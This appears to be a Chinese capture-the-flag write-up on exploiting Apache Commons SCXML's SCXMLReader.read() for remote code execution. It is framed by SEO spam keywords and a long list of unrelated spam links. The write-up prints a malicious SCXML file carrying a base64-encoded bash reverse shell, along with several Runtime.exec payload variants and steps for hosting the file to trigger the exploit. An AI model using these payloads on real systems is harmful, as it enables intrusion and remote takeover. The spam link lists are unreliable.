当前位置: 首页 > wzjs >正文

网站建设开发流程网络营销的模式有哪些

网站建设开发流程,网络营销的模式有哪些,女孩子做网站推广,设备免费做网站推广文章目录 前言源码利用上传恶意xml文件构造payload搭建Apache服务器 远程RCE 前言 在做 [HDCTF 2023]BabyJxVx 遇到的知识点,但是没公网的服务器只能作罢,写下这篇文章记录 源码利用 public String Flag(RequestParam(required true) String filenam…

文章目录

  • 前言
  • 源码利用
  • 上传恶意xml文件
    • 构造payload
    • 搭建Apache服务器
  • 远程RCE


前言

在做 [HDCTF 2023]BabyJxVx 遇到的知识点,但是没公网的服务器只能作罢,写下这篇文章记录

源码利用

public String Flag(@RequestParam(required = true) String filename) {SCXMLExecutor executor = new SCXMLExecutor();try {if (check(filename)) {SCXML scxml = SCXMLReader.read(filename);executor.setStateMachine(scxml);executor.go();return "Revenge to me!";}System.out.println("nonono");} catch (Exception var4) {System.out.println(var4);}return "revenge?";
}

大概考点就是接收filename参数,然后利用SCXMLReader.read()方法来读取恶意xml

上传恶意xml文件

构造payload

shell.xml源码

<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run"><final id="run"><onexit><assign location="flag" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}')"/></onexit></final>
</scxml>
  • <scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run"> :定义了一个 SCXML 状态机,其中 xmlns属性指定了命名空间,version属性指定了版本,initial 属性指定了初始状态为 run。
  • <final id="run">:定义了一个状态,它是最终状态,它的 id 属性为 run。
  • <onexit>:定义了一个事件,在退出状态时触发
  • <assing........> : location 属性指定了要赋值的变量名称,expr 属性指定了要赋给变量的值。

除此之外还有很多构造的

<?xml version="1.0"?> 
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run"><state id="run"><onentry> <script> ''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')</script></onentry></state>
</scxml>
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run"><state id="run"><onentry><if cond="''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')"></if></onentry></state>
</scxml>
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run"><datamodel><data id="flag" expr="''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"></data></datamodel>
</scxml>
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run"><parallel><invoke src="test" content="test" id="flag"> <param name="flag" expr="''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"></param></invoke></parallel>
</scxml>
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run"><state><history src="test" content="test" id="flag"><transition name="flag" cond="''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"></transition></history></state>
</scxml>

搭建Apache服务器

首先我们得在本地搭建服务器,这里我以kali为例
依次执行以下命令

sudo apt-get updatesudo apt-get install apache2sudo service apache2 start    #启动服务

然后我们在浏览器访问http://ip
在这里插入图片描述
然后我们将写好的xml文件mv到该根目录下

mv /home/kali/shell.xml /var/www/html/

上传成功后我们开启临时文件服务器,在根目录执行下面命令

python3 -m http.server 8000

在这里插入图片描述
访问8000端口,成功访问
在这里插入图片描述

远程RCE

我们直接在题目处远程RCE,payload如下

http://node4.anna.nssctf.cn:28342/Flag?filename=http://服务器ip:8000/shell.xml
http://www.dtcms.com/wzjs/450186.html

相关文章:

  • 计算机培训机构排名最新麒麟seo
  • 口碑最好的网站建设百度代理公司查询
  • 网站建设 上传和下载功能百度怎么推广自己的作品
  • 设计签名免费纯手工签名seo怎么做整站排名
  • 贵州企业展示型网站建设软文推广的100个范例
  • 哔哩哔哩b站在线看免费在线推广企业网站的方法有哪些
  • 做一个网站和手机软件多少钱seo在线诊断工具
  • 怎么用phpstudy做网站中国站长之家官网
  • 动态网站开发测试卷今日疫情实时数据
  • 网站修改建议微博关键词排名优化
  • 汕头网页设计黄山搜索引擎优化
  • 太原医院网站建设百度霸屏培训
  • 找人做建筑施工的网站百度seo运营工作内容
  • 长沙网页美工培训杭州优化建筑设计
  • 电子商务网站的管理厦门seo排名优化
  • 有没关于做动画设计师的网站国色天香站长工具
  • php网站留言板模板下载太原seo排名公司
  • 免费网站建设app舆情监测软件
  • 卢湾微信网站建设seo长尾关键词优化
  • 建设银行的网站你打不开seo引擎搜索入口
  • 微同步网站福州百度关键词排名
  • 天津艺匠做网站郑州全域静态管理
  • 网站上社保做增员怎么做百度账号快速登录
  • 网站推广建设费广告代运营
  • 招聘网站建设的项目描述关键词优化难度分析
  • 如何检测网站是否安全网络优化工作内容
  • 青浦练塘网站建设做网上推广
  • 贵州网站建设设计公司哪家好微指数查询
  • 西安电子商务网站建设百度联盟广告点击一次收益
  • 聊城质量最好网站建设seo包年优化